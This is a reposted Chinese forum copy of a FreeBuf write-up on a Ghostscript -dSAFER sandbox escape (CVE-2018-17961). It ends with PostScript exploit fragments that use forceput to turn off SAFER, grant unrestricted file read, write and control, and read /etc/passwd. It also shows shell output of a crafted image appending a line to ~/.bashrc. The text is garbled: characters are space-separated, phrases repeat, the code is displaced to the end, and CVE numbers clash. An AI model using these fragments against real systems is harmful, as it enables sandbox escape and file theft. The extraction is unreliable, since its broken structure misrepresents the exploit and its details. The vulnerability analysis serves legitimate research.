搜索

[13509] 2018-12-08_Ghostscript：基于漏洞CVE-2018-17961的-dSAFER沙盒逃逸技术

文档创建者：s7ckTeam
浏览次数：13
最后更新：2025-01-18
2018-12-08_Ghostscript：基于漏洞CVE-2018-17961的-dSAFER沙盒逃逸技术 G h o s t s c r i p t ： 基 于 漏 洞 C V E - 2 0 1 8 - 1 7 9 6 1 的 - d S A F E R 沙 盒 逃 逸 技 术 A l p h a _ h 4 c k   F r e e B u f   2 0 1 8 - 1 2 - 0 8 前 言 前 言 今 天 给 大 家 分 析 的 是 一 种 新 型 的 今 天 给 大 家 分 析 的 是 一 种 新 型 的 g h o s t s c r i p t - d S A F E R 沙 盒 逃 逸 技 术 ， 目 前 这 项 技 术 仍 然 适 用 于 当 前 正 在 使 用 的 沙 盒 逃 逸 技 术 ， 目 前 这 项 技 术 仍 然 适 用 于 当 前 正 在 使 用 的 所 有 所 有 g h o s t s c r i p t 版 本 。 我 不 知 道 这 个 漏 洞 存 在 多 久 了 ， 反 正 我 是 觉 得 已 经 很 久 了 版 本 。 我 不 知 道 这 个 漏 洞 存 在 多 久 了 ， 反 正 我 是 觉 得 已 经 很 久 了 … 本 文 提 供 的 漏 洞 利 用 代 码 可 以 在 最 新 的 几 个 版 本 中 正 常 运 行 ， 如 果 你 想 在 e v i n c e 、 i m a g e m a g i c k 、 g i m p 或 o k u l a r 中 查 看 代 码 的 话 ， 你 还 需 要 在 ~ / . b a s h r c 那 里 添 加 一 行 。 因 为 n a u t i l u s 将 在 没 有 任 何 用 户 交 互 的 情 况 下 自 动 调 用 e v i c e - t h u m b n a i l e r 。 如 果 你 想 触 发 这 个 漏 洞 的 话 ， 你 只 需 要 在 运 行 了 漏 洞 利 用 代 码 之 后 随 便 浏 览 一 个 网 站 就 可 以 了 。 背 景 内 容 背 景 内 容 P o s t s c r i p t 的 一 个 核 心 访 问 控 制 功 能 就 是 它 能 够 标 记 可 执 行 代 码 的 运 行 过 程 ， 这 样 可 以 防 止 用 户 窥 视 系 统 程 序 的 执 行 ， 并 获 取 更 强 大 的 访 问 操 作 权 限 。 为 此 ， 我 专 门 设 计 了 一 个 完 整 的 漏 洞 利 用 代 码 ， 感 兴 趣 的 同 学 可 以 阅 读 原 文 阅 读 原 文 下 载 测 试 【 下 载 地 址 】 。 当 你 在 e r r o r d i c t 中 安 装 了 错 误 处 理 器 之 后 ， 如 果 你 终 止 了 一 个 正 在 执 行 的 操 作 进 程 ， 这 样 便 会 将 错 误 操 作 符 暴 露 给 错 误 处 理 器 。 此 时 ， ， r r o r e r d i c t 便 会 忽 略 - d S A F E R 沙 箱 ， 这 也 就 是 本 文 所 利 用 的 漏 洞 C V E - 2 0 1 8 - 1 7 1 8 3 。 漏 洞 利 用 细 节 漏 洞 利 用 细 节 需 要 注 意 的 是 ， 这 个 漏 洞 目 前 还 没 有 被 完 全 修 复 ， 因 为 你 现 在 仍 然 可 以 调 用 错 误 处 理 器 ， 并 触 发 错 误 ， 或 者 访 问 内 部 状 态 所 保 存 的 错 误 处 理 器 。 其 中 一 种 漏 洞 利 用 方 法 为 ， 找 到 能 够 终 止 运 行 的 执 行 进 程 ， 触 发 一 次 异 常 ， 然 后 调 用 错 误 处 理 器 并 终 止 它 的 运 行 （ 可 以 通 过 / s t a c k o v e r f l o w 或 / e x e c o v e r f l o w 来 实 现 ） 。 当 出 现 故 障 时 ， 操 作 码 堆 栈 将 会 处 于 一 种 不 一 致 的 状 态 ， 因 为 g h o s t s c r i p t 会 尝 试 设 置 错 误 处 理 器 ， 但 这 种 设 置 是 无 效 的 。 漏 洞 利 用 方 式 漏 洞 利 用 方 式 首 先 ， 用 垃 圾 数 据 填 充 堆 栈 ， 只 给 错 误 处 理 器 留 下 一 小 部 分 空 间 ： t a v i s o @ u b u n t u : ~ $ c o n v e r t   e x p l o i t . j p g   o u t p u t . j p g t a v i s o @ u b u n t u : ~ $ t a i l   - 1   ~ / . b a s h r c e c h o p w n e d   b y   p o s t s c r i p t G S > 0 1   3 0 0 3 6 8   { }   f o r
然 后 通 过 修 改 p d f o p d i c t （ 改 为 非 字 典 形 式 ） 来 让 / s w i t c h _ t o _ n o r m a l _ m a r k i n g _ o p s 发 生 错 误 ： 调 用 / s w i t c h _ t o _ n o r m a l _ m a r k i n g _ o p s （ 当 前 正 在 执 行 状 态 中 ） ： 操 作 会 失 败 ， 因 为 / t y p e c h e c k 正 在 写 入 p d f o p d i c t ： 查 看 已 保 存 堆 栈 中 的 最 后 几 个 元 素 ： 大 家 可 以 看 到 ， 错 误 的 操 作 符 已 经 准 备 传 递 给 错 误 处 理 器 了 。 其 中 ， f o r c e p u t 是 一 个 非 常 强 大 的 操 作 符 ， 它 可 以 忽 略 所 有 的 访 问 控 制 ， 我 们 可 以 把 它 从 堆 栈 中 提 取 出 来 ， 然 后 用 它 来 做 我 们 想 做 的 事 情 ： 结 合 之 前 所 介 绍 的 内 容 ， 我 们 看 一 看 如 何 去 读 取 / e t c / p a s s w d 中 的 数 据 ， 下 面 给 出 的 是 一 份 D E M O ： 漏 洞 利 用 代 码 漏 洞 利 用 代 码 下 载 地 址 ： 【 阅 读 原 文 下 载 阅 读 原 文 下 载 】 *   参 考 来 源 ： 参 考 来 源 ： m a i l c l a r k ， ， F B 小 编 小 编 A l p h a _ h 4 c k 编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 阅 读 原 文 G S < 3 0 0 3 6 9 > / p d f o p d i c t   n u l l   d e f G S < 3 0 0 3 6 9 > G S _ P D F _ P r o c S e t / s w i t c h _ t o _ n o r m a l _ m a r k i n g _ o p s   g e t   s t o p p e d G S < 2 > = = T r u e G S < 1 > d u p d u p   l e n g t h   1 0   s u b   1 0   g e t i n t e r v a l   = = [ 3 0 0 3 6 4 3 0 0 3 6 5   3 0 0 3 6 6   3 0 0 3 6 7   3 0 0 3 6 8   n u l l   / m   { n o r m a l _ m }   - - . f o r c e p u t - -   / t y p e c h e c k ] s y s t e m d i c t / S A F E R   f a l s e   f o r c e p u t s y s t e m d i c t / u s e r p a r a m s   g e t   / P e r m i t F i l e C o n t r o l   [ ( * ) ]   f o r c e p u t s y s t e m d i c t / u s e r p a r a m s   g e t   / P e r m i t F i l e W r i t i n g   [ ( * ) ]   f o r c e p u t s y s t e m d i c t / u s e r p a r a m s   g e t   / P e r m i t F i l e R e a d i n g   [ ( * ) ]   f o r c e p u t $   g s - d S A F E R   - f   t e s t . p s   G P L G h o s t s c r i p t   G I T   P R E R E L E A S E   9 . 2 6   ( 2 0 1 8 - 0 9 - 1 3 ) C o p y r i g h t ( C )   2 0 1 8   A r t i f e x   S o f t w a r e ,   I n c .     A l l r i g h t s   r e s e r v e d . T h i s s o f t w a r e   c o m e s   w i t h   N O   W A R R A N T Y :   s e e   t h e   f i l e   P U B L I C   f o r   d e t a i l s . ( r o o t : x : 0 : 0 : r o o t : / r o o t : / b i n / b a s h )
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理